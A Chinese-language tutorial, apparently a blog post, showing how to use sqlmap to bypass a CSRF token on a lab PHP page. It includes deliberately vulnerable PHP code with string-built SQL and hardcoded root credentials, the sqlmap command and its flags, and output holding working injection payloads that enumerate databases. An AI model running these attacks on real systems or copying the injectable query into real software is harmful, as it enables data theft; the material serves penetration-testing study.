sqlmap绕过token保护

2023-07-27 07:57:52

1、演示页面

<?php
session_start();
if(isset($_SESSION['token']) && isset($_POST['username'])){
if(empty($_POST['token']) || $_POST['token'] != $_SESSION['token']){
    header('Location: http://localhost/error.php?token='. $_SESSION['token']);
    exit(-1);
}
}
 
    $token = md5(time());
    $_SESSION['token'] = $token;
?>
    <html>
    <head>
        <title>sqlmap with csrf token</title>
    </head>
    <body>
    <form method="post" action="/sql/csrf.php" id="form1">
        <div>
            <input name="username" type="text" id="username" style="width:270px;"/>
            <input type="submit" name="btnSearch" value="Search" id="btnSearch" />
            <input type="hidden" name="token" id="token" value="<?php echo $token ?>" />
        </div>
    </form>
 
    <br/>
    </body>
    </html>
<?php
 
if (isset($_POST['username'])) {
 
    $conn = mysql_connect('127.0.0.1', 'root', '123456');
 
    if (!$conn) {
        die('数据库连接错误' . mysql_error());
    } else {
            mysql_select_db('test', $conn);
            $user_name = $_POST['username'];
            $sql = "select * from user where username='$user_name'";
            $result = mysql_query($sql) or die('error' . mysql_error());
        while($row=mysql_fetch_array($result)){
              $username = $row['username'];
              $age = $row['age'];
              $sex = $row['sex'];
              echo $username .'&nbsp&nbsp&nbsp';
              echo $age . '&nbsp&nbsp&nbsp';
              echo $sex;
              echo "<br />";
        }
    }
    mysql_close($conn);
} else {
 
echo "username is null";
}
?>

注意：

　　（1）、文件名及路径需要和页面中跳转地址一样；

　　（2）、注意数据库连接账号、密码、数据库名称、表名称、字段

2、页面token防护展示

3、sql注入展示（本次使用-r的方式，指定http请求的内容）

http请求内容如下：

POST /sql/csrf.php HTTP/1.1
Host: 192.168.2.235
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.235/sql/csrf.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Connection: close
Cookie: PHPSESSID=6c5c85b72a489b88b1d0c84664d611e6
Upgrade-Insecure-Requests: 1

username=cisco&btnSearch=Search&token=9159479faebc1e42c6a311fb4c02a5df

sql注入命令如下：

sqlmap -r data/test.txt -p "username" --csrf-token="token" --csrf-url="http://192.168.2.235/sql/csrf.php" --batch  --dbs

-r ：指定保存http请求的文件；

-p：指定注入点的参数名称；

--csef-token：指定页面中token的字段名；

--csrf-url：指定获取token获取的页面（就是访问哪个页面可以得到token值）;

--batch：注入过程中不要交互，所有选项按照默认值选择；

--dbs：列出所有的数据库；

执行结果如下：

4、附

其实sqlmap会自动识别页面的token，并进行处理，只有token值不是那么明显的情况下才需要人工指定。

不指定token，测试效果如下：

e2a5e@kali:~$ sqlmap -r data/test.txt -p "username" --dbs
        ___
       __H__                                                                                                                                               
 ___ ___["]_____ ___ ___  {1.4.2#stable}                                                                                                                   
|_ -| . ["]     | .'| . |                                                                                                                                  
|___|_  ["]_|_|_|__,|  _|                                                                                                                                  
      |_|V...       |_|   http://sqlmap.org                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:44:27 /2020-03-11/

[16:44:27] [INFO] parsing HTTP request from 'data/test.txt'
[16:44:27] [INFO] resuming back-end DBMS 'mysql' 
[16:44:27] [INFO] testing connection to the target URL
got a 302 redirect to 'http://localhost/error.php?token=842f8206097c083d319474122f6a9aca'. Do you want to follow? [Y/n] 
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] 
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)
    Payload: username=cisco' AND MAKE_SET(9310=9310,5577)-- tjnm&btnSearch=Search&token=9159479faebc1e42c6a311fb4c02a5df

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=cisco' AND (SELECT 4942 FROM(SELECT COUNT(*),CONCAT(0x717a766b71,(SELECT (ELT(4942=4942,1))),0x716a767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- MAEB&btnSearch=Search&token=9159479faebc1e42c6a311fb4c02a5df

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=cisco' AND (SELECT 2251 FROM (SELECT(SLEEP(5)))Fsfq)-- LbzZ&btnSearch=Search&token=9159479faebc1e42c6a311fb4c02a5df

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: username=cisco' UNION ALL SELECT CONCAT(0x717a766b71,0x584e556d636866734867416a6853497858736e5949686e69454f616a4a5041426c56776d41734245,0x716a767671),NULL,NULL#&btnSearch=Search&token=9159479faebc1e42c6a311fb4c02a5df
---
[16:44:31] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[16:44:31] [INFO] fetching database names
available databases [9]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] test
[*] webug
[*] webug_sys
[*] webug_width_byte

[16:44:31] [INFO] fetched data logged to text files under '/home/e2a5e/.sqlmap/output/192.168.2.235'

[*] ending @ 16:44:31 /2020-03-11/

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